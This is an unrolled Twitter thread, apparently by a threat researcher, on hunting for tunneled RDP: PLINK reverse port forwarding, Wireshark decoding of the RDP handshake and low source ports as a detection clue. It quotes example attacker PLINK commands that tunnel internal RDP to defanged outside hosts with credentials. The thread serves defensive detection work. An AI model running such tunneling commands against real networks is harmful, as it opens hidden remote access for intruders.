,
18 tweets,
6 min read
Read on Twitter
My @FireEye friends @DavidPany and @deeemdee4 put out a badass blog on tunneled RDP. What is it? How is it used? What can you do to find it? Read more here: fireeye.com/blog/threat-re…
Tunneled RDP typically refers to an interactive RDP session that occurs over the same "channel" as another comms session. This is done in a variety of ways, but primarily established through either a backdoor implant or a utility with some sort of port forwarding setup.
On RDP tunneled over SSH with PLINK. We've seen the *standard* PLINK file used. We've also seen PLINK variants with hard-coded parameters and configs and whatnot.
We've seen PLINK used with binary and CLI and also with .BAT files that "launch" PLINK with some parameters for port forwarding and stuff like that.
PLINK use at the CLI or in script form could go something like this.
c:\users\plinkkkk.exe bobloblawslawblog[.]biz -P 443 -C -R 0.0.0.0:12346:172.17.172.17:3389 -l lolpwn -pw 123qweasdzxc
c:\users\plinkkkk.exe bobloblawslawblog[.]biz -P 443 -C -R 0.0.0.0:12346:172.17.172.17:3389 -l lolpwn -pw 123qweasdzxc
Or maybe something like this.
c:\windows\temp\lol.exe -l test -pw 123qweasd -R 127.0.0.1:3380:127.0.0.1:3389 -P 22 123.45.67[.]89
c:\windows\temp\lol.exe -l test -pw 123qweasd -R 127.0.0.1:3380:127.0.0.1:3389 -P 22 123.45.67[.]89
Threat groups that have used PLINK for tunneled RDP include: APT34, APT35, APT39, FIN1, FIN6, FIN7, FIN8, and several "UNC" (uncategorized) groups, including the UNC behind the #TRITON intrusion. #threathunting
For more "traditional" tunneled RDP over custom mal C2 protocols, this is easy to detect with Snort, Suricata, Bro, what have you, because the RDP handshake and the "basic settings exchange" information is generally unencrypted.
Here is a tunneled RDP handshake used in conjunction with an implant/backdoor and a custom C2 protocol (not pictured). You see Wireshark will not decode it correctly, only because of port. 
Go to Analyze -> Decode As -> (port actually used) -> TPKT then let Wireshark work its magic and squeeze out some of those juicy deets. #dailypcap
Some mad decent observables for RDP sessions in the "handshake" PDU, where the initiating system declares some of its settings including OS, keyboard layout, hostname, res, etc. Build small haystacks with only the juiciest metadata for hunting.
For tunneled RDP the notable characteristic is also the most unassuming: *the source port is super lowwww*. This is because if the RDP is usurping the custom C2 comms channel, it thus uses the dest port of that channel as the source port for its own initialization.
Not really mind blowing, but non-obvious (and awesome) detection opportunity for me. It has caught some huge evil over the years, including massive APT22, APT28, APT29, and FIN5 operations. Often we see the tunneled RDP first, then we pivot to disco a new C2 protocol.
If you run detections for this, know that there *are* some "legitimate" programs that use tunneled RDP such as LogMeIn, "remote desktop management" browser plugins, and so forth. They probs wont blow up your detections unless you use them enterprise wide.
Where does all this fall into @MITREattack? Is it Standard Cryptographic Protocol/T1032? Is it Remote Desktop Protocol/T1076? Is it Commonly Used Port/T1043? Is it Connection Proxy/T1090? Some #adversarymethods are multi-layered combos bringing granular TTPs together.
IC3 put out a report in September 2018 on the rise of RDP abuse: ic3.gov/media/2018/180… Anecdotally, I concur. You may think you're safe (because who in their right mind would allow such RDP shenanigans?) but if you're not hunting for bad RDP u probs should.
Last but not least, look at last year's blog on baselining RDP for some fun event log artifacts and such. fireeye.com/blog/threat-re…
@threadreaderapp unroll
